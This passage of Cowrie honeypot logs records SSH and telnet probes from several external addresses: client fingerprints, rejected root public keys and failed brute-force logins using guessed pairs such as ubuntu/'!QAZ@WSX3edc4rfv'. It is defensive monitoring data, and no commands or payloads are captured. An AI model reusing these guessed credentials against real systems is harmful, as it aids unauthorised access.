"3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:17:22.753222Z","src_ip":"176.65.131.185","session":"d00dcf7a7e46","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6e:04:72:37:87:a9:48:6a:c9:01:42:7c:7e:b1:cf:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+JbjAXJP8H0vw3Rdp5rCPQ0B6mpc4sY8PNaZ0XJstAvL2PryWjjN8oSpOIA4He+N5D6IRTqucBSdKEvQ09Hfl3Y4/z13gMIPSt3Q8ZvrcWwvbfwcM+a8DHBnt9+KS5vcj4cF7yePFwz6S/p9nwr+pnqBAeoVYBDvwuJ8UrQZfUMSDzLb0XCh1H48bINemm6VDP9mLxCR62uRVxXrjRatJMY2tSCAE1oQCkxsbCBg4fNaDpAfv5zwOFVv6+gXr9Q7iJU60V0XRgyxt/1fx6QxKO3PPZQmtykx7n5c1SJbc68lfGsVuxVX1jsOBy6OPOYqr7zQeVMRoro5L/VS2Tf+5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6e:04:72:37:87:a9:48:6a:c9:01:42:7c:7e:b1:cf:4c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:17:23.179452Z","src_ip":"176.65.131.185","session":"d00dcf7a7e46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6e:04:72:37:87:a9:48:6a:c9:01:42:7c:7e:b1:cf:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+JbjAXJP8H0vw3Rdp5rCPQ0B6mpc4sY8PNaZ0XJstAvL2PryWjjN8oSpOIA4He+N5D6IRTqucBSdKEvQ09Hfl3Y4/z13gMIPSt3Q8ZvrcWwvbfwcM+a8DHBnt9+KS5vcj4cF7yePFwz6S/p9nwr+pnqBAeoVYBDvwuJ8UrQZfUMSDzLb0XCh1H48bINemm6VDP9mLxCR62uRVxXrjRatJMY2tSCAE1oQCkxsbCBg4fNaDpAfv5zwOFVv6+gXr9Q7iJU60V0XRgyxt/1fx6QxKO3PPZQmtykx7n5c1SJbc68lfGsVuxVX1jsOBy6OPOYqr7zQeVMRoro5L/VS2Tf+5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:17:23.183399Z","src_ip":"176.65.131.185","session":"d00dcf7a7e46","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:bb:d4:f7:4f:f7:7d:7d:d0:57:29:2f:60:43:e9:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8pPD+sBTiuSD0O0ceL00bIuKe1Vw9ff/Yf1NmeeJbaltWEeoPCGSXaRjqQxHMqk+tuEqUBmMURduJyyB33NYdViD7lHyqTQ+hW97qlAiB/OykY1BDitmQrU0Op2bElEpq7awg6e2weYRC3kL7Zsmg1jYjtckAd9O8frGWVKdftCuiVJyc/1zhyPOowbnVYh/CvY39x5qDtwLhVZN8JUltK+vt8cnVMtzIM3GyNdWvp2qztKpCBxSFsqlghjNdEz3Z3Pq5UnzXx1JNBrV8lUDhqpJnVWPR9vpRoxWWuskQ8igyiVU/NUemTWTlCbDkiqkt58+4mP0asSPT8b/8rJwWSyYmw5LIBj51cX4TYnDA18TXR0M+6rLOUOkvVrozo8f9kMlKDSNs+TXeX3FyfRZr91H6q6rXcdFHsu/fmIuuSASRwU4InwFOkTeQnNr5weMhbluZ5ySkusqwM9taw4zLzdkM3+NPmdWEpKUhTOuBt0/QA3VZZp8uxrd+Bt3EIcUa+hnRo6fZt8scbVlSo2eFr/M84bLeqWVAIq1wZmDFZAbn3b63BiOEYoond0eY9+g2AmWENMEmwN+mXdhc8w52nbowcuMtiPhut3f1lJRea1QGlBOn26eK72C5uLoSKaAmQezd4++UlDWLejU3iuC6H2Nma04Zy0JB5ILumiuxtQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 60:bb:d4:f7:4f:f7:7d:7d:d0:57:29:2f:60:43:e9:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:17:23.285845Z","src_ip":"176.65.131.185","session":"d00dcf7a7e46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:bb:d4:f7:4f:f7:7d:7d:d0:57:29:2f:60:43:e9:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8pPD+sBTiuSD0O0ceL00bIuKe1Vw9ff/Yf1NmeeJbaltWEeoPCGSXaRjqQxHMqk+tuEqUBmMURduJyyB33NYdViD7lHyqTQ+hW97qlAiB/OykY1BDitmQrU0Op2bElEpq7awg6e2weYRC3kL7Zsmg1jYjtckAd9O8frGWVKdftCuiVJyc/1zhyPOowbnVYh/CvY39x5qDtwLhVZN8JUltK+vt8cnVMtzIM3GyNdWvp2qztKpCBxSFsqlghjNdEz3Z3Pq5UnzXx1JNBrV8lUDhqpJnVWPR9vpRoxWWuskQ8igyiVU/NUemTWTlCbDkiqkt58+4mP0asSPT8b/8rJwWSyYmw5LIBj51cX4TYnDA18TXR0M+6rLOUOkvVrozo8f9kMlKDSNs+TXeX3FyfRZr91H6q6rXcdFHsu/fmIuuSASRwU4InwFOkTeQnNr5weMhbluZ5ySkusqwM9taw4zLzdkM3+NPmdWEpKUhTOuBt0/QA3VZZp8uxrd+Bt3EIcUa+hnRo6fZt8scbVlSo2eFr/M84bLeqWVAIq1wZmDFZAbn3b63BiOEYoond0eY9+g2AmWENMEmwN+mXdhc8w52nbowcuMtiPhut3f1lJRea1QGlBOn26eK72C5uLoSKaAmQezd4++UlDWLejU3iuC6H2Nma04Zy0JB5ILumiuxtQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:17:23.290281Z","src_ip":"176.65.131.185","session":"d00dcf7a7e46","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:9c:61:b3:a0:a9:5f:80:7d:81:8c:92:2f:fc:59:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDsMhe+wiWmGZtHB47MuD87DzzmXhfSll8YTfV8yKAUHWwhUuDT9ea0miESpIHp5nsyV8PI1H3iIYTsFueAQ7+HZod8B0kVgvilAop0wl8sJJXPwFSr+RVfFLZLCR0atYYjDcZL0Cece1Jq7oCkHVzHHtY/HfrWo/3wcVkupnUC7tQyWo+OJPaIrYFWpZiiQwnQwDUAeDHWdbmm4t/NpI1UlyTrIKQAm5eKnJlAslfNhTjC9Y5wFtcAOW4C8WSg4nIempimAMBCk3Iq5QeacP5oHr49dv8pgRTf8X0Z3z1iMSG+YEjh/eQcvU0dAARguL3IeCzLqGKtK0VjPhHSOZJE0h+3O4/+dZwzdfPIG4TC7mP5x3lTk3+nzPyGqws2G7d/lzJIMJ+itFPtKgyqPsjmtJOKz7SE9iyqIIMrLs6/+c6qtXw0DfxvdIGwvdWNa8+kMZOeAGOxizoB4NvcJxsb/EfK+JVUSgn7ZItGyQJNl2asS49OA2v1Y89e5e54SWeXbAWWh1EiCKnXKAJJAcA+uB2O6U4CFK3qohjY9iTbbV8Oer1WeUHGb+BI2pmN0LYEcfixNa3rZwr+O5WiSKCZtu0WXypTX69fkFAq+1ToOFF22NaaqH+5k0g3C1pR4+hYYQVHfGhbnpCz991NDiBj8SQU7WzOVRf8YY6Jwe5cAQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:9c:61:b3:a0:a9:5f:80:7d:81:8c:92:2f:fc:59:e7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:17:23.382195Z","src_ip":"176.65.131.185","session":"d00dcf7a7e46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:9c:61:b3:a0:a9:5f:80:7d:81:8c:92:2f:fc:59:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDsMhe+wiWmGZtHB47MuD87DzzmXhfSll8YTfV8yKAUHWwhUuDT9ea0miESpIHp5nsyV8PI1H3iIYTsFueAQ7+HZod8B0kVgvilAop0wl8sJJXPwFSr+RVfFLZLCR0atYYjDcZL0Cece1Jq7oCkHVzHHtY/HfrWo/3wcVkupnUC7tQyWo+OJPaIrYFWpZiiQwnQwDUAeDHWdbmm4t/NpI1UlyTrIKQAm5eKnJlAslfNhTjC9Y5wFtcAOW4C8WSg4nIempimAMBCk3Iq5QeacP5oHr49dv8pgRTf8X0Z3z1iMSG+YEjh/eQcvU0dAARguL3IeCzLqGKtK0VjPhHSOZJE0h+3O4/+dZwzdfPIG4TC7mP5x3lTk3+nzPyGqws2G7d/lzJIMJ+itFPtKgyqPsjmtJOKz7SE9iyqIIMrLs6/+c6qtXw0DfxvdIGwvdWNa8+kMZOeAGOxizoB4NvcJxsb/EfK+JVUSgn7ZItGyQJNl2asS49OA2v1Y89e5e54SWeXbAWWh1EiCKnXKAJJAcA+uB2O6U4CFK3qohjY9iTbbV8Oer1WeUHGb+BI2pmN0LYEcfixNa3rZwr+O5WiSKCZtu0WXypTX69fkFAq+1ToOFF22NaaqH+5k0g3C1pR4+hYYQVHfGhbnpCz991NDiBj8SQU7WzOVRf8YY6Jwe5cAQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:17:23.386628Z","src_ip":"176.65.131.185","session":"d00dcf7a7e46","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:8f:02:9c:af:db:78:ab:15:66:cf:c9:94:fc:3f:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQCfEPPZN4zaVGq77l+M7b8SwUEWOxInUTVdLTZclk++gjT/H1mDQDzXmSXaeTf6iZTOaKvkRhrm79MbnLUnOq34JaVoAos3lB0pYRXymWWM3xoGyvQuugr7bjWys8pfqCAmgZ/HjHY+WGP6iMcWZjNOWNi4GjAbr+tELWtfr3zBRkCyoyt9Q4W0O4VqgRhPxFJWLiiY5drzMbjvpKNa+TrhiwDQyPI2wuJ9PT3lepSwc9uPFb1ewvhMPP6cZAB4R06gxomGiDMIjEHDgb5s+/vBuT/w4uTXp6DZX0yjsYAl2qIAHNmOZqO2WMx9TXYCWGWW4ekW58RdqHHdnkHCverwAmazBrcW/pzOiJWpa99l4WMGpswB8NajFlK+uhlf+Op2GGtJ2dZHpqth2Nq60VRj45oRePgTWoejQUsSfUzKR+neSenL0OFrTKe2IZmo2YOG3zQdkeTWM6vXeXAQfQXFGituY/rk8hmM2JWKhMw9T6WLcwirUeyyh+/W6FJ3Y9z/V3AmWJtkae6Xkq0SymkRHNuEwS+eKXYK9d7Fcu86wSOW1fiXHLNXVbI2rDwRz5c+GezwpH6w3ZIoCKL5zdkQFYq2KHuObvGBtuUZ19Tlk6Ls6/Y3wLHJrR+Zj2NkzR+doK9RSvGzSXYPwdOrNStBOdZ3v0qDO2tqx0XgrCOw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:8f:02:9c:af:db:78:ab:15:66:cf:c9:94:fc:3f:25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:17:23.478791Z","src_ip":"176.65.131.185","session":"d00dcf7a7e46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:8f:02:9c:af:db:78:ab:15:66:cf:c9:94:fc:3f:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQCfEPPZN4zaVGq77l+M7b8SwUEWOxInUTVdLTZclk++gjT/H1mDQDzXmSXaeTf6iZTOaKvkRhrm79MbnLUnOq34JaVoAos3lB0pYRXymWWM3xoGyvQuugr7bjWys8pfqCAmgZ/HjHY+WGP6iMcWZjNOWNi4GjAbr+tELWtfr3zBRkCyoyt9Q4W0O4VqgRhPxFJWLiiY5drzMbjvpKNa+TrhiwDQyPI2wuJ9PT3lepSwc9uPFb1ewvhMPP6cZAB4R06gxomGiDMIjEHDgb5s+/vBuT/w4uTXp6DZX0yjsYAl2qIAHNmOZqO2WMx9TXYCWGWW4ekW58RdqHHdnkHCverwAmazBrcW/pzOiJWpa99l4WMGpswB8NajFlK+uhlf+Op2GGtJ2dZHpqth2Nq60VRj45oRePgTWoejQUsSfUzKR+neSenL0OFrTKe2IZmo2YOG3zQdkeTWM6vXeXAQfQXFGituY/rk8hmM2JWKhMw9T6WLcwirUeyyh+/W6FJ3Y9z/V3AmWJtkae6Xkq0SymkRHNuEwS+eKXYK9d7Fcu86wSOW1fiXHLNXVbI2rDwRz5c+GezwpH6w3ZIoCKL5zdkQFYq2KHuObvGBtuUZ19Tlk6Ls6/Y3wLHJrR+Zj2NkzR+doK9RSvGzSXYPwdOrNStBOdZ3v0qDO2tqx0XgrCOw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:17:23.483296Z","src_ip":"176.65.131.185","session":"d00dcf7a7e46","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2b:fb:35:97:ea:39:e6:79:89:9f:4d:ba:c4:35:5e:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDek+YjGsPUOD8xP9tejL+z1djfWO89Ca8efz1Do/7cuBzPuEKGR7W9iRd5anVsjQ1qFVtm15/4ZaGuXc4BfZbIIsxBMFj38UaoiYMDvFfobUcO/fbzqCLFcoHuwHk13abhNfwPs5XOOp6bFKuxLY5slsGi3OoQnJrJHx3UAS5/8Hg0d7pXCl75M5hXo86MZjfVG9Z2Qq6ejbpRSLhIhLz/n51jHcSsCybMkSzcv8/IH0HroN94tvaaLy2+cpRiuDGe7JwrS7Ovn2tKva+cAzTYfSb47xXgFr6LODgw8viBz6flYiG0ZS+6Iex94Ofwq3uUxpYDhKvQEW78cOVAdHD3L6o1VzBRJShbF6wigF4qNNH1Oy5p6rT/q4pn/ZMS9yj4gebLxqt7iNWcuIxzwTFT/YXxGY6hbByhmuyUGdb8+dztPSqA6xuKq26dTIazNVLJy0gtG15Wte2FGQ+Uu4TsA437ENdWig+iZghhn8VGFKUWCJ/SBKjE0HKBNB5ESqMjjIU+hGdPsbSgNa/93bmOtah9sRXFYVY6rLnTvWohhRo5g0BL9V2lKesmAipMduHj9enSj6wLUZ78TqJ9sF4hNq7n+DtEI8//8IK3QPFAd3TC31n3X/O9KkVnYfvxPHrKftl4DBefuecGAXX88W3pZLe1LKO6ZjR2XRTOUN4J/w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2b:fb:35:97:ea:39:e6:79:89:9f:4d:ba:c4:35:5e:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:17:23.574430Z","src_ip":"176.65.131.185","session":"d00dcf7a7e46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2b:fb:35:97:ea:39:e6:79:89:9f:4d:ba:c4:35:5e:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDek+YjGsPUOD8xP9tejL+z1djfWO89Ca8efz1Do/7cuBzPuEKGR7W9iRd5anVsjQ1qFVtm15/4ZaGuXc4BfZbIIsxBMFj38UaoiYMDvFfobUcO/fbzqCLFcoHuwHk13abhNfwPs5XOOp6bFKuxLY5slsGi3OoQnJrJHx3UAS5/8Hg0d7pXCl75M5hXo86MZjfVG9Z2Qq6ejbpRSLhIhLz/n51jHcSsCybMkSzcv8/IH0HroN94tvaaLy2+cpRiuDGe7JwrS7Ovn2tKva+cAzTYfSb47xXgFr6LODgw8viBz6flYiG0ZS+6Iex94Ofwq3uUxpYDhKvQEW78cOVAdHD3L6o1VzBRJShbF6wigF4qNNH1Oy5p6rT/q4pn/ZMS9yj4gebLxqt7iNWcuIxzwTFT/YXxGY6hbByhmuyUGdb8+dztPSqA6xuKq26dTIazNVLJy0gtG15Wte2FGQ+Uu4TsA437ENdWig+iZghhn8VGFKUWCJ/SBKjE0HKBNB5ESqMjjIU+hGdPsbSgNa/93bmOtah9sRXFYVY6rLnTvWohhRo5g0BL9V2lKesmAipMduHj9enSj6wLUZ78TqJ9sF4hNq7n+DtEI8//8IK3QPFAd3TC31n3X/O9KkVnYfvxPHrKftl4DBefuecGAXX88W3pZLe1LKO6ZjR2XRTOUN4J/w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:17:23.578964Z","src_ip":"176.65.131.185","session":"d00dcf7a7e46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:17:23.670514Z","src_ip":"176.65.131.185","session":"d00dcf7a7e46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.213.222","src_port":50578,"dst_ip":"10.17.0.5","dst_port":22,"session":"980d276875d3","protocol":"ssh","message":"New connection: 14.224.213.222:50578 (10.17.0.5:22) [session: 980d276875d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:17:32.589196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:17:32.595802Z","src_ip":"14.224.213.222","session":"980d276875d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:17:32.860810Z","src_ip":"14.224.213.222","session":"980d276875d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!QAZ@WSX3edc4rfv","message":"login attempt [ubuntu/!QAZ@WSX3edc4rfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:17:33.924869Z","src_ip":"14.224.213.222","session":"980d276875d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:17:35.194971Z","src_ip":"14.224.213.222","session":"980d276875d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":54250,"dst_ip":"10.17.0.5","dst_port":22,"session":"e70cdba76320","protocol":"ssh","message":"New connection: 190.244.39.224:54250 (10.17.0.5:22) [session: e70cdba76320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:17:37.201442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:17:37.206308Z","src_ip":"190.244.39.224","session":"e70cdba76320","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:17:37.402998Z","src_ip":"190.244.39.224","session":"e70cdba76320","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ncuser","password":"ncuser","message":"login attempt [ncuser/ncuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:17:38.231787Z","src_ip":"190.244.39.224","session":"e70cdba76320","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:17:39.435546Z","src_ip":"190.244.39.224","session":"e70cdba76320","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.236.108.125","src_port":45474,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5f05c69d490","protocol":"telnet","message":"New connection: 46.236.108.125:45474 (10.17.0.5:23) [session: c5f05c69d490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:17:50.420661Z"}
{"eventid":"cowrie.session.closed","duration":51.27967309951782,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:18:10.707994Z","src_ip":"180.235.129.180","session":"de9d475a7856","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.769577741622925,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:18:21.190111Z","src_ip":"46.236.108.125","session":"c5f05c69d490","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":37940,"dst_ip":"159.203.135.109","dst_port":22,"session":"34f1d8e5cee9","protocol":"ssh","message":"New connection: 193.32.162.145:37940 (159.203.135.109:22) [session: 34f1d8e5cee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:18:25.487089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:18:25.492275Z","src_ip":"193.32.162.145","session":"34f1d8e5cee9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:18:25.596541Z","src_ip":"193.32.162.145","session":"34f1d8e5cee9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sollet","password":"sollet","message":"login attempt [sollet/sollet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:18:25.910282Z","src_ip":"193.32.162.145","session":"34f1d8e5cee9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:18:27.018216Z","src_ip":"193.32.162.145","session":"34f1d8e5cee9","protocol":"ssh"}
